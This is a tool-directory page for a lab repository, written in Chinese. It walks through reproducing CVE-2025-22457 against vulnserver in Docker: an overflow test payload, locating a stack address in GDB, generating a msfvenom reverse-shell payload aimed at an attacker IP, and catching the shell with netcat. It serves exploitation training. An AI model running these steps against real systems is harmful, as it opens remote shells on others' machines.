Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-22457-vulnserver-lab — Hands-on lab reproducing CVE-2025-22457: sets up Docker attacker/victim containers, finds stack addresses with GDB, and delivers a msfvenom reverse shell exploit. | Kitploit
Tools/GitHubGitHub/donofly/cve-2025-22457-vulnserver-lab
Payload GenerationVulnerability AnalysisExploitationShellcodeCTFPenetration TestingLearning & EducationBinary ExploitationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHubdonofly/cve-2025-22457-vulnserver-lab

CVE-2025-22457-vulnserver-lab

Hands-on lab reproducing CVE-2025-22457: sets up Docker attacker/victim containers, finds stack addresses with GDB, and delivers a msfvenom reverse shell exploit.

View Repository
19h 56m agoNot yet reviewed
Share

step 1 environment setting

權限&執行腳本

使用windows的話可以開wsl執行

root@kitploit:~
chmod +x setup_environment.sh
./setup_environment.sh

step 2:尋找動態數值 (需要手動的步驟)

由於記憶體位址和 IP 在不同環境中是動態的,需要手動找到它們,並更新 exploit.py 腳本。

2.0 先開啟兩個attacker docker和一個victim docker作為後續準備

root@kitploit:~
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash

2.1 尋找 stack_address (返回位址)

這個步驟的目標是找到一個穩定的堆疊位址,以便我們的 payload 可以精確跳轉。

1. victim docker 啟動 GDB
root@kitploit:~
gdb ./vulnserver
2. 在 strcpy 函式之後設定斷點
root@kitploit:~
(gdb) b strcpy
3. 運行程式,vulnserver開始監聽
root@kitploit:~
(gdb) run

觸發斷點: 使用attacker docker,執行以下指令來發送一個測試 payload。這會讓 GDB 停在斷點上。 注意: 請將 <VICTIM_IP> 替換為步驟一中顯示的 Victim IP。

root@kitploit:~
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'

找到並記錄位址: 回到 GDB 所在的終端機視窗,程式應該已經停下來了。執行以下指令檢查堆疊:

root@kitploit:~
(gdb) x/200wx $esp

在輸出中,找到一片由 0x43434343 (代表 'C') 組成的區域。從這片區域的中間隨便挑選一個位址 (例如 0xffffd580) 並複製下來。這就是 stack_address。

2.2 更新 exploit.py 並生成 buf (Shellcode)

更新 stack_address:

用文字編輯器將exploit.py中的stack_address更新成剛剛複製的address

生成並更新 buf (Shellcode):

在 attacker 容器的 shell 中,執行 msfvenom 指令來生成 shellcode。 注意: 請將 <ATTACKER_IP> 替換為步驟一中顯示的 Attacker IP。

root@kitploit:~
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python

複製 msfvenom 輸出的整段 buf = b""... 程式碼,並用它完全替換掉 exploit.py 檔案中現有的 buf 變數部分。

step 3 : 執行攻擊

啟動監聽器: 在 其中一個 attacker 容器的 shell 視窗中,執行以下指令來啟動 netcat 監聽器。

root@kitploit:~
nc -lvnp 4444

victim開放連線:

可以使用以下兩種方法 方法一

root@kitploit:~
./vulnserver

方法二

root@kitploit:~
gdb ./vulnserver
gef➤  run

執行攻擊腳本: 在 attacker docker 運行更新好的 exploit.py。(注意:請將<victim_ip>更新成步驟一顯示的victim ip)

root@kitploit:~
python3 exploit.py <victim_ip>

驗證結果: 切換回 netcat 監聽器所在的視窗。如果一切順利,可以看到一個連線建立,並獲得一個可以互動的 shell。您可以輸入 whoami、ls -la 等指令來驗證。

step 4 : 清環境

退出 GDB 和容器:
root@kitploit:~
在 GDB 中輸入 quit,然後在容器 shell 中輸入 exit。

可以執行以下指令來關閉並清理所有容器和網路。

root@kitploit:~
docker stop vic atac
docker network rm 111550082_net
Download Tool